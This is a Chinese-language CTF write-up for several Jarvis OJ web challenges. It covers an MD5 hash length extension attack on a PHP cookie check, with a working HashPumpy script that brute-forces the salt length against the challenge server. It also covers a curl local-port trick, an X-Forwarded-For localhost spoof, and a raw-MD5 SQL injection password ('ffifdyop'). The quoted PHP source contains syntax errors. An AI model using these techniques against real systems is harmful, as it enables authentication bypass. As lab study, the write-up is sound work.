Jarvis OJ Writeup part

0x00 To begin with

某次做上传题找到了Jarvis OJ,最近才开始继续做里面的其他题,感觉还是有经典的思路值得学习的,于是慢慢总结下来,持续更新吧。

0x01 Something

flag在管理员手里

由于之前没有接触过hash扩展长度攻击,一直想找机会填上这个坑,以这个题来分析扩展长度攻击。
原理介绍部分参考
在采用MD5(SALT+SECRET)等类似方式时,由于未知量拼接后在SECRET前面,导致可以在SECRET后添加PADDING字符,在不知道salt的情况下,通过已知的一对VALUE-HASH值,枸造出一对新的VALUE-HASH值(value在原来的基础上在末尾添加额外数据)。

首先,通过vim备份文件获得文件源码

<!DOCTYPE html>
<html>
    <head>
        <title>Web 350</title>
        <style type="text/css">
            body {
                background:gray;
                text-align:center;  
            }
        </style>
    </head> 
    <body>
        <?php
            $auth = false;
            $role = "guest";   
            $salt = ;
            if (isset($_COOKIE["role"])) {
                $role = unserialize($_COOKIE["role"]);
                $hsh = $_COOKIE["hsh"];
                if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {    
                    $auth = true;
                }
                else {
                    $auth = false;
                } else {}   
                $s = serialize($role);
                setcookie('role',$s);
                $hsh = md5($salt.strrev($s));
                setcookie('hsh',$hsh);
            }
            if ($auth) {
                echo "<h3>Welcome Admin. Your flag is "
            } 
            else {
                echo "<h3>Only Admin can see the flag!!</h3>";  
            }
        ?>  
    </body> 
</html>

从此句中$hsh = md5($salt.strrev($s)); 发现可使用hash扩展长度攻击,同时也要注意到有一个strrev。
在这里我们使用Python的HashPumpy计算新hash值。

Help on built-in function hashpump in module hashpumpy:
hashpump(…)
hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)
Arguments:
hexdigest(str): Hex-encoded result of hashing key + original_data.
original_data(str): Known data used to get the hash result hexdigest.
data_to_add(str): Data to append
key_length(int): Length of unknown data prepended to the hash

Returns:
A tuple containing the new hex digest and the new message.

当前拥有的条件有:

  1. 加盐后的serialize("guest")的结果,并且注意此处有一个strrev函数,会将字符串反序,这恰恰能使得我们利用哈希长度扩展攻击。首
  2. PHP在反序列化时,会忽略后面多余的字符。
    要使得$role==="admin",就必须将s:5:"admin";放在最前面。利用strrev就可以构造长度扩展攻击,并符合反序列化要求。所以原始数据就是s:5:"guest"的逆序,最后增添数据是s:5:"admin"的逆序,盐的长度可以爆破猜解。
#!/usr/bin/python
import hashpumpy
import requests
import urllib

for item in range(1,32): #crack lenth of salt
	(a,b)= hashpumpy.hashpump("3a4727d57463f122833d9e732f94e4e0",'s:5:"guest";'[::-1],'s:5:"admin";'[::-1],item) # refer to the quote above
	a=urllib.quote(a) 
	b=urllib.quote(b[::-1]) # reverse and convert format /x to %
	#print a,b
	cookie={'role':b,'hsh':a} # or construct a header contain cookie
	re=requests.get("http://web.jarvisoj.com:32778/",cookies=cookie)
	if 'PCTF' in re.content:
		print re.content

另外可参考:
https://ctf-wiki.github.io/ctf-wiki/crypto/hash/attack.html#hash-length-extension-attacks

PORT51

查阅了一些资料后,可以使用curl来完成。
curl --local-port [-num] Force use of these local port numbers
curl --local-port 51 http://web.jarvisoj.com:32770/

LOCALHOST

在http头中加入为localhost的XFF即可。

LOGIN

尝试万能密码等注入后,发现在response header提供了hint。
Hint:"select * from `admin` where password='".md5($pass,true)."'"
值得注意的是md5($value,true),查看手册之后发现返回的是raw类型,即二进制类型,会被解析为字符串。
那么,我们如果能够构造出'or'开头的字符串,并且or后能够判断为true即可。
可以使用爆破方法解出,使用正则匹配/'or'[\d].*/gi。或者使用其他师傅已经计算好的password=ffifdyop。

作者:xmsec
Lancet成员,很菜却在努力。
GitHub